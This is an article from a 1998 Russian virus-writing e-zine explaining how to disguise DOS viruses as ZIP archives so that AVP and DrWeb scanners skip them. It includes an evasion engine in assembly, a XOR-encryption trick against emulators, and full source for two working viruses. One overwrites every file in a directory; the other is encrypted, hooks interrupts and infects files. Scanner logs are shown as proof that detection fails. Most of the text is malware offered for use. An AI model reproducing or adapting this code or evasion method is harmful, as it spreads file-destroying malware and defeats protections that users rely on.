[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998                                           file 008

               Примеры использования технологии "Allien Header"
                                                                by FRiZER

Как оказалось, обдурить DrWeb также просто как и AVP :)
вообщем смотри файл dacez.asm
Можно лепить вирус, а потом интегрировать его
с DrWeb & AVP Cheat Engine for Zip (DACEZ) by me aka FRiZER :)))
И тогда DrWeb и AVP будут лишь тихо пукать, что это "архив PKZIP", что
лучше, чем сообщения о плохом заголовке или неизвестном формате.
Размер engine - 38 байт ;)

Но есть более надежный вариант ;)
- упаковать вирус методом store.
- пропатчить в заголовке архива два байта - сделать переход на начало вируса,
  причем патчить лучше дату или время - тем более их и находить при
  неизвестном заголовке очень просто: два раза запаковать один и тот-же
  файл с разной датой и сравнить архивы.
- в самом вирусе восстановить все стартовые регистры (если нужно)
  и обязательно повынимать из стека (если что-то туда было заpushено)

для сокрытия от антивирусов можно делать например так:

1. ставить флаг в архиве, что файл запаролен (как вычислить, где этот
   флаг я думаю ясно - см. выше про дату)

2. ставить флаг паковки другой. (не store) => при распаковке
   хyz знает что получится

3. в самом вирусе применять шифровку, используя то, что:
   если распаковать вирус - смещения данных будут одни,
   а если выполнять его в виде архива - то смещения будут другие.
   например:
        mov bx,[100h]
        sub bx,'PK' ; начало ZIP архива
        mov cx,virus_len
        lea di,crypted_data
@loop:  xor [di],bx
        inc dx
        loop @loop
crypted_data:

  Эмулятор, который распакует файл и будет эмулировать его выполнение
  только зашифрует тело вируса, после чего эвристику там делать нечего ;)

  При запуске же в виде архива все будет XOR'иться с bx=0.

PS: остается один побочный эффект - программы-оболочки, типа DN, при нажатии
    Enter на имени файла просто войдет в него, как в обычный архив, чем
    невероятно смутит юзера ;)

=== Cut ===                                              [dacez.asm]
;[ DrWeb & AVP cheat engine for Zip 8) ]
.model tiny
.386
.code
.startup
org 100h
s:
        dd      04034b50h
        pop     ax                      ; restore ax
        inc     bx                      ; restore bx
@1:
;┌────[ Insert your code here ]────┐

        mov     ah,9

;└───[ But less than 10 bytes! ]───┘
@2:
        jmp     @3
        db      10-(@2-@1) dup ('x')
        db      12 dup (0)
        dd      06054b50h
@3:
;┌────[ Insert your code here ]────┐

        lea     dx,mes

;└───[ But less than 10 bytes! ]───┘
@4:
        jmp     @5
        db      12-(@4-@3) dup ('x')
        db      12 dup (0)
@5:
;┌────[ Insert your code here ]────┐
        int     21h
        int     20h
mes     db      '[ DrWeb & AVP cheat engine for Zip (DACEZ) ;) ]',13,10,'$'
;└─────────────────────────────────┘
e:
end
=== Cut ===

Вот реакция AVP на файл-ангину

=== Cut ===
■ Antiviral Toolkit Pro by Eugene Kaspersky  Версия 3.0
■ Отчет:  10-05-1998  15:34:43
■ Командная строка:  /w=avp.rpt /m/p/b/s *.*

C:\ANTI\AVP\AVPLITE.EXE : упакован Diet
D:\TEMP\DACEZ.COM       : архив ZIP

     Вирусов не обнаружено

 Проверено:         5 файлов
                    1 архивов
                    1 каталогов
                    4 килобайт

     Время:  00:00:00
=== Cut ===

И прославленный в боях DrWeb не отстает

=== Cut ===
────────────────────────────────────────
Dr.Web, версия 4.00 (06 апреля 1998)
Copyright (c) Игорь Данилов, 1992-98
Протокол работы от 1998 May 14  20:58:17
Командная строка:  D:\PERSONAL\MB.5\FRIZER\dacez.com
────────────────────────────────────────
Загрузка вирусной базы DRW40001.VDB - Ok, вирусов - 261
Загрузка вирусной базы DRW40002.VDB - Ok, вирусов - 170
Загрузка вирусной базы DRW40003.VDB - Ok, вирусов - 62
Загрузка вирусной базы DRWEBASE.VDB - Ok, вирусов - 7135
В памяти компьютера вирусов не обнаружено
Поиск вирусов в D:\PERSONAL\MB.5\FRIZER\dacez.com:
D:\PERSONAL\MB.5\FRIZER\DACEZ.COM - архив PKZIP
Отчет для диска D:
Проверено : файлов  и  загрузочных   секторов - 0
Обнаружено: вирусов и инфицированных программ - 0
Время сканирования:                      00:00:04
=== Cut ===

Шутки  ради  была  откомпиллирована следующая феня и подсунута на тестирование
антивирусам. Результат превзошел все ожидания ;)

=== Cut ===                                             [begin.asm]
.model tiny
.386
.code
.startup
org 100h
s:
dd 04034b50h    ; sign
dw 0Ah          ; ver
dw 0            ; flag
dw 0            ; method
;dw 0            ; time
jmp real
dw 0            ; date
dd 0            ; crc-32
dd 68           ; packed len
dd 68           ; real len
dw 5            ; name len
dw 0            ; add field len
db 'A.COM'      ; name
db 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
real:
e:
end
=== Cut ===

Затем  был создан overwrite-вирус, точка входа которого представляет собой всю
ту  чушь,  которую  можно  найти  в  начале заголовка MS Word-документа... AVP
и   DrWeb,  известные  своими  раскрутейшими  эмуляторами,  решили  героически
промолчать...  А  зря  ;)  Файл с именем word.com содержащего нижеприведенного
зверька вы найдете в соответствующем каталоге.

=== Cut ===
;1998 (c) by RedArc // TAVC
Model Tiny
.code
.286
org 100h
start:
       ror bh,1
       adc ax,sp
       mov ax,word ptr ds:[01AB1h]
       loop start
       jmp label1
       db 100h dup (?)
label1:
       add dh,bh
       cli
       mov ax,ds:[bx]
       sti
       add ds:[0000h],al
lab1:
       jmp label2
       db 100h dup (0ffh)
label2:
       mov dx,MO
       mov ah,4eh
       inc dh
       mov cx,0ffh
label3:
       int 21h
       jb No_File
       mov al, byte ptr ds:[9eh]
       cmp al,'.'
       je FindNext
       mov ax,3d02h
       mov dx,9eh
       int 21h
       xchg ax,bx
       mov ah,40h
       mov dx,100h
       mov cx,MyLen
       int 21h
       mov ah,3eh
       int 21h
FindNext:
       mov ah,4fh
       jmp label3
No_File:
       mov dx,MSG
       mov ah,09h
       inc dh
       int 21h
       int 20h
MO equ $-start
db '*.*',0h
MSG equ $-start
db 'TAVC MS-Word-Owerwrite-Virus Present',0ah,0dh,'$'
MyLen equ $-start
end start
=== Cut ===

Как  и  следовало  ожидать  -   после  опубликования  идей  технологии  "Чужие
заголовки"  в  фидошных эхах передовая мысль вирмейкинга заработала... Вот еще
один   зверек,  созданный Evgeniy Lavrenov, использующий  ZIP-header.  Файл  с
именем xpeh.com вы найдете в соответствующем каталоге.

=== Cut ===
PAGE  59,132

;██████████████████████████████████████████████████████████████████████████
;██                                                                      ██
;██                        XPEH.PKZ.OW                                   ██
;██                                                                      ██
;██      Created:   7-May-98                                             ██
;██                                                                      ██
;██████████████████████████████████████████████████████████████████████████

.model tiny

data_1e         equ     0
data_3e         equ     1960h


inter           macro
                int     3h
                endm

DTA             segment at 80h

;               DTA

                ORG     095h
DTA95           db      ?                       ; Atributes
DTA96           dw      ?                       ; Old time
DTA98           dw      ?                       ; Old date
DTA9a           dw      ?                       ; Old size
                dw      ?
;               ORG     09eh
DTA9e           db      ?                       ; File name
                ORG     0a3h
DTAa3           dw      ?

DTA             ends

seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a


                org     100h

xpeh            proc    far

start:
                push    ax
                dec     bx
                add     ax,[si]
                adc     al,0
                add     al,[bx+si]
                or      [bx+si],al
                and     [bx+si],cl
                and     [si],sp
                mov     al,ds:data_3e
;               mov     ds:data_1e,ds
                mov     bl,ds:data_1e
                add     al,ch
                add     ax,[bx+si]
;               add     [si],al
                add     cl,[bx][si]
                add     [bx+si],al
;               add     [bx+si+50h],bl
;               inc     bp
;               dec     ax
x_com           db      0
                db      'XPEH.COM'
                pop     si
                mov     x_com,0
;                               Конец заголовка PKZIP ...
;                               Сильно не разбирался - в первом приближении

                mov     si,offset coded_beg
                mov     cx,coded_beg1-coded_beg
mov_al          db      0b0h
coded_val       db      0

encod_loop:
                xor     byte ptr ds:[si],al
                inc     si
                loop    encod_loop              ; Loop if cx > 0
coded_beg:

                push    ds
                push    es

get_int_01:
                mov     ax,3501h                ; Get int 01 handler
                int     21h
old_int_01:
                mov     word ptr [oldint01],bx  ; Save it
                mov     word ptr [oldint01+2],es
new_int_01:
                mov     ah,25h                  ; Set new int 01 handler
                mov     dx,offset int01         ; DS:DX->new handler
                int     21h

                mov     al,byte ptr ds:[coded_val]
                mov     cx,coded_end-coded_beg1
                mov     si,offset coded_beg1

encod_loop2:
                xor     byte ptr ds:[si],al
                inc     si
                loop    encod_loop2             ; Loop if cx > 0

coded_beg1:
                mov     ax, 3521h               ; get int 21h handler
                int     21h

                push    es
                pop     ds
                xchg    bx, dx
                mov     ax, 2503h               ; set int 3 = int 21h handler
                int     21h
                pop     es
                pop     ds

get_int_24:
                mov     ax,3524h                ; Get int 24 handler
                inter
old_int_24:
                mov     word ptr [oldint24],bx  ; Save it
                mov     word ptr [oldint24+2],es
new_int_24:
                mov     ah,25h                  ; Set new int 24 handler
                mov     dx,offset int24         ; DS:DX->new handler
                inter


find_first:
                mov     ah,4Eh
                xor     cx,cx
                dec     Filespec+2
;               mov     Filespec+2,043h
                mov     dx,offset Filespec
                inter
                jnc     dom_to_com
                jmp     exit                    ; Jump if carry=0

dom_to_com:
                inc     Filespec+2
;               mov     Filespec+2,0f4h
find_next:
                xor     cx,cx                   ; Set attriutes to none
                call    attributes
open:
                mov     ax,3d02h                ; open file read/write
                mov     dx,09eh
                inter
                jc      close                   ; Jump if carry Set
                xchg    bx,ax
                mov     ah,3Fh
                mov     cx,02h
                mov     dx,offset data_area
                inter
                cmp     word ptr ds:[offset data_area],4b50h    ; Уже были здесь ?
                je      close                   ; Jump if equal

                mov     ax,4200h
                xor     cx,cx                   ; Zero register
                xor     dx,dx                   ; Zero register
                inter
get_time:
                mov     ah,2Ch
                inter
                cmp     dl,0
                je      get_time                ; Jump if equal
                mov     coded_val,dl
                mov     cx,coded_end-coded_beg
                add     cl,dl
                push    dx
                mov     di,offset data_area
                mov     si,offset coded_beg

coded_loop:
                mov     al,[si]
;               xor     al,coded_val
                xor     al,dl
                mov     [di],al
                inc     si
                inc     di
                loop    coded_loop              ; Loop if cx > 0

                mov     ah,40h
                mov     cx,coded_beg-start
                mov     dx,offset start         ; 100h
                inter
                mov     ah,40h
                mov     cx,coded_end-coded_beg
                pop     dx
                add     cl,dl
                mov     dx,offset data_area
                inter
close:
                mov     ax,5701h                ; Set files date/time back
                mov     cx,word ptr ds:[DTA96]  ; Get old time from dta
                mov     dx,word ptr ds:[DTA98]  ; Get old date
                inter

                mov     ah,3eh
                inter

                xor     cx,cx
                mov     cl,byte ptr ds:[DTA95]  ; Get old Attributes
                call    attributes

                mov     ah,4fh                  ; Find next file
                inter
                jnc     find_next

exit:
                mov     ax,2524h                ; Restore int 24 handler
                mov     dx,offset oldint24      ; To original
                inter

                mov     ax,2501h                ; Restore int 01 handler
                mov     dx,offset oldint01      ; To original
                inter

                mov     ax,4C00h
                inter

xpeh            endp

;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
int24:                                          ; New int 24h (error) handler
                xor     al,al                   ; Fail call
                iret                            ; Return from int 24 call

int01:                                          ; New int 01h
;               xor     al,al                   ; Fail call
        HLT     ; jmp   int01                   ; cicle too long time
                iret                            ; Return from int 01 call, but ...

attributes:
                mov     ax,4301h                ; Set attributes to cx
                mov     dx,09eh                 ; File Name
                inter
                retn

Filespec        db      '*.Dom', 0
Vir_title       db      '[LeV.PKZ.OW.Var]'

coded_end       equ     $

oldint01        dd      ?                       ; Storage for old int 01h handler
oldint24        dd      ?                       ; Storage for old int 24h handler

data_area       db      coded_end-coded_beg+64h dup (?)

seg_a           ends

                end     start
=== Cut ===

И опять та же реакция AVP на вирус этой технологии...

=== Cut ===
■ AntiViral Toolkit Pro by Eugene Kaspersky  [Version 3.0 Build 119]
■ Отчет:  07-05-1998  13:11:18
■ Командная строка:

C:  ░ Boot Sector       : в порядке
D:  ░ Boot Sector       : в порядке
F:  ░ Boot Sector       : в порядке
HDD1░ Master Boot Record        : в порядке
HDD1░ Not Active Boot Sector    : в порядке
HDD1░ Active Boot Sector        : в порядке
HDD2░ Master Boot Record        : в порядке
HDD2░ Not Active Boot Sector    : в порядке

D:\!\XPEH.COM   : архив ZIP
D:\!\XPEH.COM\XPEH.COM  : неизвестный формат, пропущен

     Вирусов не обнаружено
 Проверено:           1 файлов
                      1 архивов
                      1 каталогов
                      0 килобайт
     Время:  00:00:00
=== Cut ===